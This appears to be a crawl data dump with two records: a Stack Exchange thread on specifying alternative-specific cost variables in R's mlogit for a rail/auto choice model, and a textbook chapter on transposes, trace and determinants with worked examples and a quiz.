url
stringlengths
14
2.42k
text
stringlengths
100
1.02M
date
stringlengths
19
19
metadata
stringlengths
1.06k
1.1k
https://stats.stackexchange.com/questions/100007/alternative-specific-variables-in-r
# Alternative Specific Variables in R I am building a discrete choice model (rail and auto). I have the cost of a trip for each mode (rail versus auto). The utility equations I am building are denoted below: \begin{align*} V_\text{auto} &= \beta_1\cdot\mbox{IVTT}_\text{auto}+ \beta_2\cdot\mbox{OVTT}_\text{auto} \\ V_\text{rail} &= \beta_0+ \beta_1 \cdot\mbox{IVTT}_\text{rail} + \beta_2 \cdot\mbox{OVTT}_\text{rail}+ \beta_3×\mbox{Cost}_\text{rail} \end{align*} The code I have is: data_mlogit<-mlogit.data(newdata,shape="wide",choice="choice", alt.levels=c("auto","rail"),varying=c(6:8,10:12)) model <- mlogit(choice ~ ivtt+ovtt+cost|0|0, data_mlogit) How can I make the code understand to use the cost rail variable only without using the cost auto variable? I don't want the cost variable (auto) to be part of the utility equation for the auto mode. • Try setting all auto cost values to NA. Aug 6, 2014 at 19:15 • This might cause difficulties if the OP wanted to use the auto cost variable later. Is there a formula-oriented approach? Aug 6, 2014 at 20:07 I will treat this answer in two parts: # Why would you want to do this? To begin with, variables like cost and travel time vary across alternatives, which actually makes them generic variables. The multinomial logit model is defined on the difference between two utility functions. Say you have two alternatives (1 and 2), where $x$ is the same in both. If you difference the utility equations, $\alpha_1 + \beta x - [\alpha_2 + \beta x]$ will cancel out $\beta$. So you estimate them as alternative-specific parameters $\alpha_1 + \beta_1 x - [\alpha_2 + \beta_2 x]$, allowing them to be defined. But if $x_1$ and $x_2$ are different, the equation is identifiable with a single $\beta$, $\alpha_1 + \beta x_1 - [\alpha_2 + \beta x_2]$ If you estimate this model (I'm only going to use one travel time) $$U_{train} = \alpha_{train} + \beta_{tt} (TT_{train})$$ $$U_{auto} = \alpha_{auto} + \beta_{tt} (TT_{auto})$$ You estimate three parameters ($\alpha_{train}, \alpha_{auto}, \beta_{tt}$). If you insist on estimating alternative-specific parameters for $\beta_{tt:auto}, \beta_{tt:train}$, you have spent a degree of freedom estimating a parameter that you don't actually need, which makes your model less efficient, with knock-on consequences for your hypothesis tests. Not to mention that cross-elasticities are lots easier to calculate with generic coefficients... You only need alternative specific coefficients if you have variables that don't vary across alternatives, like if you had income, or the distance between the start and end of the trip. # Okay, you want to do this anyways, so how do you do it? There are a couple of ways that I might do this. First I'm going to build a simple dataset from the Biogeme swissmetro dataset. library(foreign) library(dplyr) swissmetro <- swissmetro %>% filter(CHOICE %in% c(1, 3)) %>% mutate(choice = factor(CHOICE, labels = c("train", "car")), tt.train = TRAIN_TT, tt.car = CAR_TT, cost.train = TRAIN_CO, cost.car = CAR_CO) %>% select(ID, choice, tt.train, tt.car, cost.train, cost.car) library(mlogit) sm <- reshape(swissmetro, varying = 3:6, direction = "long") sm <- sm %>% mutate(choice = ifelse(choice == time, TRUE, FALSE), alt = time) %>% arrange(id) %>% select(-time) sm.mlogit <- mlogit.data(sm, choice = "choice", id.var = "ID", alt.var = "alt", shape = "long") ## ID choice tt cost id alt ## 1.train 1 TRUE 103 36 1 train ## 1.car 1 FALSE 90 65 1 car ## 2.train 7 TRUE 80 42 2 train ## 2.car 7 FALSE 72 140 2 car ## 3.train 8 FALSE 100 22 3 train ## 3.car 8 TRUE 80 24 3 car This replicates (what I think is) your data pretty well, though with only one travel time variable. We can and should treat both tt and cost as generic, giving us the most efficient model, mnl1 <- mlogit(choice ~ tt + cost, data = sm.mlogit) summary(mnl1) ## ## Call: ## mlogit(formula = choice ~ tt + cost, data = sm.mlogit, method = "nr", ## print.level = 0) ## ## Frequencies of alternatives: ## car train ## 0.684 0.316 ## ## nr method ## 6 iterations, 0h:0m:0s ## g'(-H)^-1g = 2.11E-05 ## successive function values within tolerance limits ## ## Coefficients : ## Estimate Std. Error t-value Pr(>|t|) ## train:(intercept) -1.33e+00 4.56e-02 -29.16 <2e-16 *** ## tt -2.57e-04 4.69e-04 -0.55 0.58 ## cost 1.40e-03 5.92e-05 23.71 <2e-16 *** ## --- ## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1 ## ## Log-Likelihood: -2180 ## McFadden R^2: 0.225 ## Likelihood ratio test : chisq = 1260 (p.value = <2e-16) ## Attempt 1: intercept interaction My first idea is to interact the generic variables with an intercept, which is the same as forcing your missing $\beta_{train}$ to equal $0$. sm.mlogit$car <- ifelse(sm.mlogit$alt == "train", 0, 1) ## ID choice tt cost id alt car ## 1.train 1 TRUE 103 36 1 train 0 ## 1.car 1 FALSE 90 65 1 car 1 ## 2.train 7 TRUE 80 42 2 train 0 ## 2.car 7 FALSE 72 140 2 car 1 ## 3.train 8 FALSE 100 22 3 train 0 ## 3.car 8 TRUE 80 24 3 car 1 mnl2 <- mlogit(choice ~ tt + I(cost*car), data = sm.mlogit) summary(mnl2) ## ## Call: ## mlogit(formula = choice ~ tt + I(cost * car), data = sm.mlogit, ## method = "nr", print.level = 0) ## ## Frequencies of alternatives: ## car train ## 0.684 0.316 ## ## nr method ## 6 iterations, 0h:0m:0s ## g'(-H)^-1g = 1.29E-06 ## successive function values within tolerance limits ## ## Coefficients : ## Estimate Std. Error t-value Pr(>|t|) ## train:(intercept) 1.01e+00 7.58e-02 13.30 <2e-16 *** ## tt 7.21e-05 4.72e-04 0.15 0.88 ## I(cost * car) 2.84e-02 1.04e-03 27.42 <2e-16 *** ## --- ## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1 ## ## Log-Likelihood: -2230 ## McFadden R^2: 0.205 ## Likelihood ratio test : chisq = 1150 (p.value = <2e-16) • @Feras, you may have a perfectly valid reason to do this. If you do, can you share it with me? Aug 7, 2014 at 1:35
2022-07-01 19:15:02
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6699702143669128, "perplexity": 8830.83532938038}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103945490.54/warc/CC-MAIN-20220701185955-20220701215955-00164.warc.gz"}
http://nm.mathforcollege.com/NumericalMethodsTextbookUnabridged/chapter-04.04-unary-matrix-operations.html
# Chapter 04.04: Unary Matrix Operations ## Learning Objectives After successful completion of this lesson, you should be able to: 1)  know what unary operations are, 2)  find the transpose of a square matrix and its relationship to symmetric matrices, 3)  find the trace of a matrix, and 4)  find the determinant of a matrix by the cofactor method. ## What is the transpose of a matrix? Let $$\left\lbrack A \right\rbrack$$ be a $$m \times n$$ matrix. Then $$\left\lbrack B \right\rbrack$$ is the transpose of $$\left\lbrack A \right\rbrack$$ if $$b_{{ji}} = a_{{ij}}$$ for all $$i$$ and $$j$$. That is, the $$i^{{th}}$$ row and the $$j^{{th}}$$ column element of $$\left\lbrack A \right\rbrack$$ is the $$j^{{th}}$$ row and $$i^{{th}}$$ column element of $$\left\lbrack B \right\rbrack$$. Note, $$\left\lbrack B \right\rbrack$$ would be a $$n \times m$$ matrix. The transpose of $$\left\lbrack A \right\rbrack$$ is denoted by $$\left\lbrack A \right\rbrack^{T}$$. ### Example 1 Find the transpose of $\left\lbrack A \right\rbrack = \begin{bmatrix} \begin{matrix} 25 & 20 \\ \end{matrix} & \begin{matrix} 3 & 2 \\ \end{matrix} \\ \begin{matrix} 5 & 10 \\ \end{matrix} & \begin{matrix} 15 & 25 \\ \end{matrix} \\ \begin{matrix} 6 & 16 \\ \end{matrix} & \begin{matrix} 7 & 27 \\ \end{matrix} \\ \end{bmatrix}$ Solution The transpose of $$\left\lbrack A \right\rbrack$$ is $\left\lbrack A \right\rbrack^{T} = \left\lbrack \begin{matrix} \begin{matrix} 25 \\ 20 \\ \end{matrix} \\ \begin{matrix} 3 \\ 2 \\ \end{matrix} \\ \end{matrix}\begin{matrix} \begin{matrix} 5 \\ 10 \\ \end{matrix} \\ \begin{matrix} 15 \\ 25 \\ \end{matrix} \\ \end{matrix}\begin{matrix} \begin{matrix} 6 \\ 16 \\ \end{matrix} \\ \begin{matrix} 7 \\ 27 \\ \end{matrix} \\ \end{matrix} \right\rbrack$ Note, the transpose of a row vector is a column vector and the transpose of a column vector is a row vector. Also, note that the transpose of a transpose of a matrix is the matrix itself. That is, $\left( \left\lbrack A \right\rbrack^{T} \right)^{T} = \left\lbrack A \right\rbrack$ Also, $\left( \left\lbrack A \right\rbrack + \left\lbrack B \right\rbrack \right)^{T} = \left\lbrack A \right\rbrack^{T} + \left\lbrack B \right\rbrack^{T};\ \left( {cA} \right)^{T} = cA^{T}$ ## What is a symmetric matrix? A square matrix $$\left\lbrack A \right\rbrack$$ with real elements were $$a_{{ij}} = a_{{ji}}$$ for $$i = 1,\ 2,\ \ldots\ ,\ n$$ and $$j = 1,\ 2,\ \ldots\ ,\ n$$ is called a symmetric matrix. This is the same as saying that if $$\left\lbrack A \right\rbrack = \left\lbrack A \right\rbrack^{T}$$, then $$\left\lbrack A \right\rbrack^{T}$$ is a symmetric matrix. ### Example 2 Give an example of a symmetric matrix Solution $\left\lbrack A \right\rbrack = \begin{bmatrix} 21.2 & 3.2 & 6 \\ 3.2 & 21.5 & 8 \\ 6 & 8 & 9.3 \\ \end{bmatrix}$ Is a symmetric matrix as $$a_{12} = a_{21} = 3.2,\ \ a_{13} = a_{31} = 6$$ and $$a_{13} = a_{31} = 8$$. ## What is a skew-symmetric matrix? A $$n \times n$$ matrix is skew-symmetric if $$a_{{ij}} = - a_{{ji}}$$, for $$i = 1,\ \ldots\ ,\ n$$ and $$j = 1,\ \ldots\ ,\ n$$. This the same as $\left\lbrack A \right\rbrack = - \left\lbrack A \right\rbrack^{T}$ ### Example 3 Give an example of a skew-symmetric matrix Solution $\begin{bmatrix} 0 & 1 & 2 \\ - 1 & 0 & - 5 \\ - 2 & 5 & 0 \\ \end{bmatrix}$ Is a skew symmetric matrix as $$a_{12} = - a_{21} = 1;\ \ a_{13} = - a_{31} = 2;\ a_{23} = - a_{32} = - 5$$. Since $$a_{{ii}} = - a_{{ii}}$$ only if $$a_{{ii}} = 0$$, all the diagonal elements of a skew-symmetric matrix have to be zero. ## What is the trace of a matrix? The trace of a $$n \times n$$ matrix $$\left\lbrack A \right\rbrack$$ is the sum of the diagonal entries of $$\left\lbrack A \right\rbrack$$. That is ${tr}\left\lbrack A \right\rbrack = \sum_{i = 1}^{n}a_{{ii}}$ ### Example 4 Find the trace of: $\left\lbrack A \right\rbrack = \begin{bmatrix} 15 & 6 & 7 \\ 2 & - 4 & 2 \\ 3 & 2 & 6 \\ \end{bmatrix}$ Solution $\begin{split} {tr}\left\lbrack A \right\rbrack &= \sum_{i = 1}^{n}a_{{ii}}\\ &= 15 + \left( - 4 \right) + 6\\ &= 17 \end{split}$ ### Example 5 The sales of tires are given by make (rows) and quarters (columns) for Blowout r’us store location $$A$$, as shown below $\left\lbrack A \right\rbrack = \left\lbrack \begin{matrix} 25 \\ 5 \\ 6 \\ \end{matrix}\begin{matrix} 20 \\ 10 \\ 16 \\ \end{matrix}\begin{matrix} 3 \\ 15 \\ 7 \\ \end{matrix}\begin{matrix} 2 \\ 25 \\ 27 \\ \end{matrix} \right\rbrack$ Where the rows represent the sales of Tirestone, Michigan, and Copper tires, and the columns represent the quarter numbers 1, 2, 3, 4. Find the total yearly revenue of store $$A$$ if the prices of tires vary by quarters as follows $\left\lbrack B \right\rbrack = \left\lbrack \begin{matrix} 33.25 \\ 40.19 \\ 25.03 \\ \end{matrix}\begin{matrix} 30.01 \\ 38.02 \\ 22.02 \\ \end{matrix}\begin{matrix} 35.02 \\ 41.03 \\ 27.03 \\ \end{matrix}\begin{matrix} 30.05 \\ 38.23 \\ 22.95 \\ \end{matrix} \right\rbrack$ Where the rows represent the cost of each tire made by Tirestone, Michigan, and Copper, and the columns represent the quarter numbers. Solution $\left\lbrack C \right\rbrack = \left\lbrack B \right\rbrack^{T}$ ### Example 6 Blowout r’us store location $$A$$ and the sales of tires are given by make (in rows) and quarters (in columns) as shown below $\begin{split} \left\lbrack A \right\rbrack &= \left\lbrack \begin{matrix} 25 \\ 5 \\ 6 \\ \end{matrix}\begin{matrix} 20 \\ 10 \\ 16 \\ \end{matrix}\begin{matrix} 3 \\ 15 \\ 7 \\ \end{matrix}\begin{matrix} 2 \\ 25 \\ 27 \\ \end{matrix} \right\rbrack\\ &= \left\lbrack \begin{matrix} 33.25 \\ 40.19 \\ 25.03 \\ \end{matrix}\begin{matrix} 30.01 \\ 38.02 \\ 22.02 \\ \end{matrix}\begin{matrix} 35.02 \\ 41.03 \\ 27.03 \\ \end{matrix}\begin{matrix} 30.05 \\ 38.23 \\ 22.95 \\ \end{matrix} \right\rbrack\\ &= \left\lbrack \begin{matrix} \begin{matrix} 33.25 \\ 30.01 \\ \end{matrix} \\ \begin{matrix} 35.02 \\ 30.05 \\ \end{matrix} \\ \end{matrix}\begin{matrix} \begin{matrix} 40.19 \\ 38.02 \\ \end{matrix} \\ \begin{matrix} 41.03 \\ 38.23 \\ \end{matrix} \\ \end{matrix}\begin{matrix} \begin{matrix} 25.03 \\ 22.02 \\ \end{matrix} \\ \begin{matrix} 27.03 \\ 22.95 \\ \end{matrix} \\ \end{matrix} \right\rbrack \end{split}$ Recognize now that if we find $$\left\lbrack A \right\rbrack\left\lbrack C \right\rbrack$$, we get $\begin{split} \left\lbrack D \right\rbrack &= \left\lbrack A \right\rbrack\left\lbrack C \right\rbrack\\ &= \left\lbrack \begin{matrix} 25 \\ 5 \\ 6 \\ \end{matrix}\begin{matrix} 20 \\ 10 \\ 16 \\ \end{matrix}\begin{matrix} 3 \\ 15 \\ 7 \\ \end{matrix}\begin{matrix} 2 \\ 25 \\ 27 \\ \end{matrix} \right\rbrack\left\lbrack \begin{matrix} \begin{matrix} 33.25 \\ 30.01 \\ \end{matrix} \\ \begin{matrix} 35.02 \\ 30.05 \\ \end{matrix} \\ \end{matrix}\begin{matrix} \begin{matrix} 40.19 \\ 38.02 \\ \end{matrix} \\ \begin{matrix} 41.03 \\ 38.23 \\ \end{matrix} \\ \end{matrix}\begin{matrix} \begin{matrix} 25.03 \\ 22.02 \\ \end{matrix} \\ \begin{matrix} 27.03 \\ 22.95 \\ \end{matrix} \\ \end{matrix} \right\rbrack\\ &= \begin{bmatrix} 1597 & 1965 & 1193 \\ 1743 & 2152 & 1325 \\ 1736 & 2169 & 1311 \\ \end{bmatrix} \end{split}$ The diagonal elements give the sales of each brand of tire for the whole year. That is $$d_{11} = \ 1597$$ (Tirestone sales) $$d_{22} = \ 2152$$ (Michigan sales) $$d_{33} = \ 1597$$ (Copper sales) The total yearly sales of all three brans of tires are $\begin{split} \sum_{i = 1}^{3}d_{{ii}} &= 1597 + 2152 + 1311\\ &= \text{\} 5060 \end{split}$ And this is the trace of matrix $$\left\lbrack D \right\rbrack$$. ## Define the determinant of a matrix. The determinant of a square matrix is a single unique real number corresponding to a matrix. For a matrix $$\left\lbrack A \right\rbrack$$, determinant is denoted by $$\left| A \right|$$ or $$\det\left( A \right)$$. So do not use $$\left\lbrack A \right\rbrack$$ and $$\left| A \right|$$ interchangeably. For a $$2 \times 2$$ matrix $\left\lbrack A \right\rbrack = \begin{bmatrix} a_{11} & a_{12} \\ a_{21} & a_{22} \\ \end{bmatrix}$ $\det\left( A \right) = a_{11}a_{22} - a_{12}a_{21}$ ## How does one calculate the determinant of any square matrix? Let $$\left\lbrack A \right\rbrack$$ be a $$n \times n$$ matrix. The minor of entry $$a_{{ij}}$$ is denoted by $$M_{{ij}}$$ and is defined as the determinant of the $$\left( n - 1 \right) \times \left( n - 1 \right)$$ submatrix of $$\left\lbrack A \right\rbrack$$, where the submatrix is obtained by deleting the $$i^{{th}}$$ row and $$j^{{th}}$$ column of the matrix $$\left\lbrack A \right\rbrack$$. The determinant is then given by $\det\left( A \right) = \sum_{j = 1}^{n}{\left( - 1 \right)^{i + j}a_{{ij}}M_{{ij}}}{\ for\ any\ }i = 1,\ 2,\ \ldots\ ,\ n$ or $\det\left( A \right) = \sum_{i = 1}^{n}{\left( - 1 \right)^{i + j}a_{{ij}}M_{{ij}}}{\ for\ any\ }j = 1,\ 2,\ \ldots\ ,\ n$ Couple that with $$\det\left( A \right) = a_{11}$$ for a $$1 \times 1$$ matrix $$\left\lbrack A \right\rbrack$$, we can always reduce the determinant of a matrix to determinants of $$1 \times 1$$ matrices. The number $$\left( - 1 \right)^{i + j}M_{{ij}}$$ is called the cofactor of $$a_{{ij}}$$ and is denoted by $$c_{{ij}}$$. The formula for the determinant can then be written as $\det\left( A \right) = \sum_{j = 1}^{n}{a_{{ij}}C_{{ij}}}{\ for\ any\ }i = 1,\ 2,\ \ldots\ ,\ n$ or $\det\left( A \right) = \sum_{i = 1}^{n}{a_{{ij}}C_{{ij}}}{\ for\ any\ }j = 1,\ 2,\ \ldots\ ,\ n$ Determinants are not generally calculated using this method as it becomes computationally intensive for large matrices. For a $$n \times n$$ matrix, it requires arithmetic operations proportional to $$n!$$. ### Example 6 Find the determinant of $\lbrack A\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 64 & 8 & 1 \\ 144 & 12 & 1 \\ \end{bmatrix}$ Solution Method 1: $\det\left( A \right) = \sum_{j = 1}^{3}{\left( - 1 \right)^{i + j}a_{{ij}}M_{{ij}}{\ \ for\ \ any\ \ }i = 1,\ \ 2,\ \ 3}$ Let us choose $$i = 1$$ in the formula $\begin{split} \det\left( A \right) &= \sum_{j = 1}^{3}{\left( - 1 \right)^{1 + j}a_{1j}M_{1j}}\\ &= \left( - 1 \right)^{1 + 1}a_{11}M_{11} + \left( - 1 \right)^{1 + 2}a_{12}M_{12} + \left( - 1 \right)^{1 + 3}a_{13}^{\ }\ M_{13}\\ &= a_{11}M_{11} - a_{12}M_{12} + a_{13}M_{13} \end{split}$ $\begin{split} M_{11} &= \left| \begin{matrix} 8 & 1 \\ 12 & 1 \\ \end{matrix} \right|\\ &= - 4 \end{split}$ $\begin{split} M_{12} &= \left| \begin{matrix} 64 & 1 \\ 144 & 1 \\ \end{matrix} \right|\\ &= - 80 \end{split}$ $\begin{split} M_{13} &= \left| \begin{matrix} 64 & 8 \\ 144 & 12 \\ \end{matrix} \right|\\ &= - 384 \end{split}$ $\begin{split} det(A) &= a_{11}M_{11} - a_{12}M_{12} + a_{13}M_{13}\\ &= 25\left( - 4 \right) - 5\left( - 80 \right) + 1\left( - 384 \right)\\ &= - 100 + 400 - 384\\ &= - 84 \end{split}$ Also for $$i = 1$$, $\det\left( A \right) = \sum_{j = 1}^{3}{a_{1j}C_{1j}}$ $\begin{split} C_{11} &= \left( - 1 \right)^{1 + 1}M_{11}\\ &= M_{11}\\ &= - 4 \end{split}$ $\begin{split} C_{12} &= \left( - 1 \right)^{1 + 2}M_{12}\\ &= - M_{12}\\ &= 80 \end{split}$ $\begin{split} C_{13} &= \left( - 1 \right)^{1 + 3}M_{13}\\ &= M_{13}\\ &= - 384 \end{split}$ $\begin{split} \det\left( A \right) &= a_{11}C_{11} + a_{21}C_{21} + a_{31}C_{31}\\ &= (25)\left( - 4 \right) + (5)\left( 80 \right) + (1)\left( - 384 \right)\\ &= - 100 + 400 - 384\\ &= - 84 \end{split}$ Method 2: $\det\left( A \right) = \sum_{i = 1}^{3}{\left( - 1 \right)^{i + j}a_{{ij}}M_{{ij}}} \ for\ any\ j = 1,\ 2,\ 3$ Let us choose $$j = 2$$ in the formula $\begin{split} \det\left( A \right) &= \sum_{i = 1}^{3}{\left( - 1 \right)^{i + 2}a_{i2}M_{i2}}\\ &= \left( - 1 \right)^{1 + 2}a_{12}M_{12} + \left( - 1 \right)^{2 + 2}a_{22}M_{22} + \left( - 1 \right)^{3 + 2}a_{32}M_{32}\\ &= - a_{12}M_{12} + a_{22}M_{22} - a_{32}M_{32} \end{split}$ $\begin{split} M_{12} &= \left| \begin{matrix} 64 & 1 \\ 144 & 1 \\ \end{matrix} \right|\\ &= - 80 \end{split}$ $\begin{split} M_{22} &= \left| \begin{matrix} 25 & 1 \\ 144 & 1 \\ \end{matrix} \right|\\ &= - 119 \end{split}$ $\begin{split} M_{32} &= \left| \begin{matrix} 25 & 1 \\ 64 & 1 \\ \end{matrix} \right|\\ &= - 39 \end{split}$ $\begin{split} det(A) &= - a_{12}M_{12} + a_{22}M_{22} - a_{32}M_{32}\\ &= - 5( - 80) + 8( - 119) - 12( - 39)\\ &= 400 - 952 + 468\\ &= - 84 \end{split}$ In terms of cofactors for $$j = 2$$, $\det\left( A \right) = \sum_{i = 1}^{3}{a_{i2}C_{i2}}$ $\begin{split} C_{12} &= \left( - 1 \right)^{1 + 2}M_{12}\\ &= - M_{12}\\ &= 80 \end{split}$ $\begin{split} C_{22} &= \left( - 1 \right)^{2 + 2}M_{22}\\ &= M_{22}\\ &= - 119 \end{split}$ $\begin{split} C_{32} &= \left( - 1 \right)^{3 + 2}M_{32}\\ &= - M_{32}\\ &= 39 \end{split}$ $\begin{split} \det\left( A \right) &= a_{12}C_{12} + a_{22}C_{22} + a_{32}C_{32}\\ &= (5)\left( 80 \right) + (8)\left( - 119 \right) + (12)\left( 39 \right)\\ &= 400 - 952 + 468\\ &= - 84 \end{split}$ ## Is there a relationship between det(AB), and det(A) and det(B)? Yes, if $$\lbrack A\rbrack$$ and $$\lbrack B\rbrack$$ are square matrices of same size, then $det({AB}) = det(A)det(B)$ ## Are there some other theorems that are important in finding the determinant of a square matrix? Theorem 1: If a row or a column in a $$n \times n$$ matrix $$\lbrack A\rbrack$$ is zero, then $$det(A) = 0$$. Theorem 2: Let $$\lbrack A\rbrack$$ be a $$n \times n$$ matrix. If a row is proportional to another row, then $$det(A) = 0$$. Theorem 3: Let $$\lbrack A\rbrack$$ be a $$n \times n$$ matrix. If a column is proportional to another column, then $$det(A) = 0$$. Theorem 4: Let $$\lbrack A\rbrack$$ be a $$n \times n$$matrix. If a column or row is multiplied by $$k$$ to result in matrix $$k$$, then $$det(B) = kdet(A)$$. Theorem 5: Let $$\lbrack A\rbrack$$ be a $$n \times n$$ upper or lower triangular matrix, then $$det(A) = \overset{n}{\underset{i = 1}{\Pi}}a_{{ii}}$$. ### Example 7 What is the determinant of $\lbrack A\rbrack = \begin{bmatrix} 0 & 2 & 6 & 3 \\ 0 & 3 & 7 & 4 \\ 0 & 4 & 9 & 5 \\ 0 & 5 & 2 & 1 \\ \end{bmatrix}$ Solution Since one of the columns (first column in the above example) of $$\lbrack A\rbrack$$ is a zero, $$det(A) = 0$$. ### Example 8 What is the determinant of $\lbrack A\rbrack = \begin{bmatrix} 2 & 1 & 6 & 4 \\ 3 & 2 & 7 & 6 \\ 5 & 4 & 2 & 10 \\ 9 & 5 & 3 & 18 \\ \end{bmatrix}$ Solution $$det(A)$$ is zero because the fourth column $\begin{bmatrix} 4 \\ 6 \\ 10 \\ 18 \\ \end{bmatrix}$ is 2 times the first column $\begin{bmatrix} 2 \\ 3 \\ 5 \\ 9 \\ \end{bmatrix}$ ### Example 9 If the determinant of $\lbrack A\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 64 & 8 & 1 \\ 144 & 12 & 1 \\ \end{bmatrix}$ is $$- 84$$, then what is the determinant of $\lbrack B\rbrack = \begin{bmatrix} 25 & 10.5 & 1 \\ 64 & 16.8 & 1 \\ 144 & 25.2 & 1 \\ \end{bmatrix}$ Solution Since the second column of $$\lbrack B\rbrack$$ is 2.1 times the second column of $$\lbrack A\rbrack$$ $\begin{split} \det(B) &= 2.1\det(A)\\ &= (2.1)( - 84)\\ &= - 176.4 \end{split}$ ### Example 10 Given the determinant of $\lbrack A\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 64 & 8 & 1 \\ 144 & 12 & 1 \\ \end{bmatrix}$ is $$- 84$$, what is the determinant of $\lbrack B\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 0 & - 4.8 & - 1.56 \\ 144 & 12 & 1 \\ \end{bmatrix}$ Solution Since $$\lbrack B\rbrack$$ is simply obtained by subtracting the second row of $$\lbrack A\rbrack$$ by 2.56 times the first row of $$\lbrack A\rbrack$$, $\begin{split} det(B) &= det(A)\\ &= - 84 \end{split}$ ### Example 11 What is the determinant of $\lbrack A\rbrack = \begin{bmatrix} 25 & 5 & 1 \\ 0 & - 4.8 & - 1.56 \\ 0 & 0 & 0.7 \\ \end{bmatrix}$ Solution Since $$\lbrack A\rbrack$$ is an upper triangular matrix $\begin{split} \det\left( A \right) &= \prod_{i = 1}^{3}a_{{ii}}\\ &= a_{11} \times a_{22} \times a_{33}\\ &= 25 \times ( - 4.8) \times 0.7\\ &= - 84 \end{split}$ ## Key Terms: Transpose Symmetric Matrix Skew-Symmetric Matrix Trace of Matrix Determinant ## Multiple Choice Test (1). If the determinant of a $$4 \times 4$$ matrix is given as $$20$$, then the determinant of $$5\left\lbrack A \right\rbrack$$ is (A) $$100$$ (B) $$12500$$ (C) $$25$$ (D) $$62500$$ (2). If the matrix product $$\left\lbrack A \right\rbrack\ \left\lbrack B \right\rbrack\ \left\lbrack C \right\rbrack$$ is defined, then $$\left( \left\lbrack A \right\rbrack\left\lbrack B \right\rbrack\left\lbrack C \right\rbrack \right)^{T}$$ is (A) $$\left\lbrack C \right\rbrack^{T}\ \left\lbrack B \right\rbrack^{T}\ \left\lbrack A \right\rbrack^{T}$$ (B) $$\left\lbrack A \right\rbrack^{T}\ \left\lbrack B \right\rbrack^{T}\ \left\lbrack C \right\rbrack^{T}$$ (C) $$\left\lbrack A \right\rbrack\ \left\lbrack B \right\rbrack\ \left\lbrack C \right\rbrack^{T}$$ (D) $$\left\lbrack A \right\rbrack^{T}\ \left\lbrack B \right\rbrack\ \left\lbrack C \right\rbrack$$ (3). The trace of a matrix $\begin{bmatrix} 5 & 6 & - 7 \\ 9 & - 11 & 13 \\ - 17 & 19 & 23 \\ \end{bmatrix}$ is (A) $$17$$ (B) $$39$$ (C) $$40$$ (D) $$110$$ (4). A square $$n \times n$$ matrix $$\left\lbrack A \right\rbrack$$ is symmetric if (A) $$a_{{ij}} = a_{{ji}},\ i = j$$ for all $$i,j$$ (B) $$a_{{ij}} = a_{{ji}},\ i \neq j$$ for all $$i,j$$ (C) $$a_{{ij}} = - a_{{ji}},\ i = j$$ for all $$i,j$$ (D) $$a_{{ij}} = - a_{{ji}},\ i \neq j$$ for all $$i,j$$ (5). The determinant of the matrix $$\begin{bmatrix} 25 & 5 & 1 \\ 0 & 3 & 8 \\ 0 & 9 & a \\ \end{bmatrix}$$ is 50. The value of a is then (A) $$0.6667$$ (B) $$24.67$$ (C) $$-23.33$$ (D) $$5.556$$ (6). $$\left\lbrack A \right\rbrack$$ is a $$5 \times 5$$ matrix and a matrix $$\left\lbrack B \right\rbrack$$ is obtained by the row operations of replacing $$Row\ 1$$ with $$Row\ 3$$, and then $$Row\ 3$$ is replaced by a linear combination of $$2 \times Row\ 3 + 4 \times Row\ 2$$. If $$\det\left( A \right) = 17$$, then $$\det\left( B \right)$$ is equal to (A) $$12$$ (B) $$-34$$ (C) $$-112$$ (D) $$112$$ For complete solution, go to https://ma.mathforcollege.com/mcquizzes/04sle/quiz_04sle_unarymatrixoperations_solution.pdf ## Problem Set (1). Let $$\lbrack A\rbrack = \begin{bmatrix} 25 & 3 & 6 \\ 7 & 9 & 2 \\ \end{bmatrix}$$. Find $$\lbrack A\rbrack^{T}$$ Answer: $$\begin{bmatrix} 25 & 7 \\ 3 & 9 \\ 6 & 2 \\ \end{bmatrix}$$ (2). If $$\lbrack A\rbrack$$ and $$\lbrack B\rbrack$$ are two $$n \times n$$ symmetric matrices, show that $$\lbrack A\rbrack + \lbrack B\rbrack$$ is also symmetric. Hint: Let $$\left\lbrack C \right\rbrack = \left\lbrack A \right\rbrack + \left\lbrack B \right\rbrack$$ Answer: $$c_{{ij}} = a_{{ij}} + b_{{ij}}$$ for all i, j. and $$c_{{ji}} = a_{{ji}} + b_{{ji}}$$ for all i, j. $$c_{{ji}} = a_{{ij}} + b_{{ij}}$$ as $$\left\lbrack A \right\rbrack$$ and $$\left\lbrack B \right\rbrack$$ are symmetric Hence $$c_{{ji}} = c_{{ij}}.$$ (3). Give an example of a $$4 \times 4$$ symmetric matrix. (4). Give an example of a $$4 \times 4$$ skew-symmetric matrix. (5). What is the trace of 1. $$\left\lbrack A \right\rbrack = \begin{bmatrix} 7 & 2 & 3 & 4 \\ - 5 & - 5 & - 5 & - 5 \\ 6 & 6 & 7 & 9 \\ - 5 & 2 & 3 & 10 \\ \end{bmatrix}$$ 2. For $$\left\lbrack A \right\rbrack = \begin{bmatrix} 10 & - 7 & 0 \\ - 3 & 2.099 & 6 \\ 5 & - 1 & 5 \\ \end{bmatrix}$$ Find the determinant of $$\lbrack A\rbrack$$ using the cofactor method. Answer: a)$$19$$ b) $$- 150.05$$ (6). $$\det(3\lbrack A\rbrack)$$ of a $$n \times n$$ matrix is 1. $$3\det(A)$$ 2. $$3\det(A)$$ 3. $$3^{n}\det(A)$$ 4. $$9\det(A)$$ (7). For a $$5 